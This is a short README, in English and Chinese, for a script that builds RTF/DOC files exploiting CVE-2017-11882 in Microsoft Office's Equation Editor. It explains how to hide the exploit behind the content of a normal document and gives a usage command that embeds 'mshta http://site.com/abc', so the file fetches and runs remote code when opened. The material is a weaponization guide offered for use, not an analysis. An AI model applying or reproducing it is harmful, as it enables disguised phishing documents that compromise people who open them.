# Sample exploit for CVE-2017-11882 (starting calc.exe as payload)
`example` folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system.
## 关于自定义内容
其实关于自定义内容的姿势也是跟别的师傅学来的，很早之前就已经写成脚本了，本来不打算公开，但是看到小组内已经有人发出来了，没办法，只能公开了，其实方式很简单，只需要文本文件打开正常的文档rtf，复制{\*\datastore 之前的所有内容，替换 {\object\objautlink\objupdate之前的内容即可，所以写到脚本里面就很简单了。
添加自定义内容使用方式,选择任意脚本：
```
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
```
自定义内容在input.rtf中。
关于unamer的最新的605字节利用脚本就不更新了，有兴趣自己改。
